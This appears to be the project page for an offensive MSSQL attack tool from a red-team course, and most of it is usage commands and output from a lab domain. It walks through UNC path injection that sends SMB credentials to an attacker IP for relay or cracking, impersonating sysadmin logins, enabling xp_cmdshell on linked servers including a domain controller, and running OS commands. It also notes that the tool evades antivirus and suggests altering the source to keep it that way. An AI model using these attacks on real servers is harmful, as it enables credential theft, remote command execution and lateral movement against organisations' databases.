MSSQL 数据库攻击工具
This tool is intended to carry out well-known attacks on MSSQL database servers. The tool was created during the OSEP course, and credit must be given to Offensive Security because some code snippets and ideas were lifted from the course. The tool is open source and can be used by anyone to carry out red team operations. The tool is undetected until it is developed and may be detectable by antivirus software in the future. Consider changing the source code before use.
Help Menu
…Attack Menu
[*] MSSQL Attacker V2 by Rikunj Sindhwad [*]
[1] Get Information [2] UNC PATH Injection [3] Impersonation Check
[4] Impersonate [5] Impersonate DBO [6] Toggle xp_cmdshell
[7] Shell_Access [8] Check LinkedServers [9] Enumerate LinkedServer Version
[10] Toggle LinkedServer xp_cmdshell [11] LinkedServer xp_cmdshell [12] Custom SQL Query
[0] Exit Program
[INPUT] Enter Value:
Z:\>MSSQLAttacker.exe cli -a
[-] Invelid AttackName
[+] Available Attacks
checkimpersonate
checklinkedservers
checklinkedserverVersion
uncpathinject
getinfo
togglecmdshell
togglelinkedcmdshell
execlinkedcmd
execcmd
runCustomQueryThe sysadmin privilege enables extra functionalities which could be used to gain access over database server through OS command execution.
PS C:\Tools> .\MSSQLAttackerV2-x64.exe cli -t dbsrv01.robensivelabs.local -a getinfo
[+] Auth success!
[+] User: ROBENSIVELABS\sqluser
[-] User is NOT a member of sysadmin role
[INPUT] Enter Value: 1
[+] User: ROBENSIVELABS\rob
[+] User is a member of sysadmin roleImpersonation privilege across users will often allows to perform privileged tasks over the DB server such as enabling xp_cmdshell and many more.
PS C:\Tools> whoami
robensivelabs\sqluser
PS C:\Tools> .\MSSQLAttackerV2-x64.exe cli -t dbsrv01.robensivelabs.local -a checkimpersonate
[+] Auth success!
[+] Impersonatable Users:
ROBENSIVELABS\rob
[INPUT] Enter Value: 3
[+] Logins that can be impersonated: ROBENSIVELABS\robOften linked servers are configured with sysadmin privileges. through which execution of OS command can be performed over the linked server.
PS C:\Tools> .\MSSQLAttackerV2-x64.exe cli -t dbsrv01.robensivelabs.local -a checklinkedservers
[+] Auth success!
[+] Linked Servers:
DBSRV01\SQLEXPRESS
DC01
[INPUT] Enter Value: 8
[+] Linked SQL server: DBSRV01\SQLEXPRESS
[+] Linked SQL server: DC01The UNC Path Injection attack is well known attack performed over the MSSQL database servers. The attack send SMB connection to the Victim listener which can be used to perform further actions such as ntlmrelay or cracking hash to gain access over the system with database user.
Z:\>MSSQLAttackerV2-x64.exe cli -t dc01.robensivelabs.local -d master -a uncpathinject -l 192.168.49.109
[+] Auth success!
[+] Request Sent to: 192.168.XX.YYY
[INPUT] Enter Value: 2
Enter Attacker Machine IP: 192.168.00.000
[+] Request Sent to: 192.168.00.000SMBSERVER
…The feature will just identifiy linked server version through banner grabbing which could be very helpful when privileges are low however, version is vulnerable to known exploits.
PS C:\Tools> .\MSSQLAttackerV2-x64.exe cli -t dbsrv01.robensivelabs.local -a checklinkedserverVersion -ls dc01
[+] Auth success!
[+] Linked Server: dc01
Microsoft SQL Server 2012 (SP3) (KB3072779) - 11.0.6020.0 (X64)
Oct 20 2015 15:36:27
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.3 (Build 9600: ) (Hypervisor)[INPUT] Enter Value: 9
Enter Linked Server: APPSRV01
[+] Linked Server: dc01
Microsoft SQL Server 2012 (SP3) (KB3072779) - 11.0.6020.0 (X64)
Oct 20 2015 15:36:27
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.3 (Build 9600: ) (Hypervisor)When sysadmin privilege is enabled, this feature will reconfigure settings to enable xp_cmdshell which is the easiest way to execute OS commands.
……The linkedServer might have sysadmin privilege and not the connected database server. This feature toggle xp_cmdshell over linkedDBServers.
PS C:\Tools> .\MSSQLAttackerV2-x64.exe cli -t dbsrv01.robensivelabs.local -impersonate -iuser "ROBENSIVELABS\rob" -a togglelinkedcmdshell -ls dc01
[+] Auth success!
[+] Impersonation Success [ROBENSIVELABS\rob]
[+] Linked Server: dc01 Value In Use: 1
[-] Linked Server: dc01 Value In Use: 0
[+] Linked xp_cmdshell toggled
[INPUT] Enter Value: 10
Enter Linked Server: dc01
[-] Linked Server: dc01 Value In Use: 0
[+] Linked Server: dc01 Value In Use: 1
[+] Linked xp_cmdshell toggled…exit typed it will close the connection and move to main.
[INPUT] Enter Value: 7
[+] Value In Use: 1
[+] xp_cmdshell is enabled
Enter Command: whoami
nt service\mssql$sqlexpress
Enter Command: hostname
DBSRV01
Enter Command:Once xp_cmdshell is enabled over the linkedServer this feature enables blind OS command execution against the same.
Z:\>MSSQLAttacker.exe cli -t dc01.robensivelabs.local -d master -a execlinkedcmd -ls dc01 -c "ping 192.168.XX.YY"
[+] Auth success!
[+] Linked Server: appsrv01 Value In Use: 1
Command Executed[INPUT] Enter Value: 11
Enter Linked Server: DC01
[+] Linked Server: DC01 Value In Use: 1
Enter Command: ping 192.168.179.133
Command Executed .\MSSQLAttackerV2.exe cli -t dc01 -a runCustomQuery -query 'select @@VERSION'
[+] Auth success!
select @@VERSION;
Microsoft SQL Server 2012 (SP3) (KB3072779) - 11.0.6020.0 (X64)
Oct 20 2015 15:36:27
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.3 (Build 9600: ) (Hypervisor)[INPUT] Enter Value: 12
Query> select @@VERSION
Microsoft SQL Server 2012 (SP3) (KB3072779) - 11.0.6020.0 (X64)
Oct 20 2015 15:36:27
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.3 (Build 9600: ) (Hypervisor)暂无开放 Issues,或尚未同步最近议题。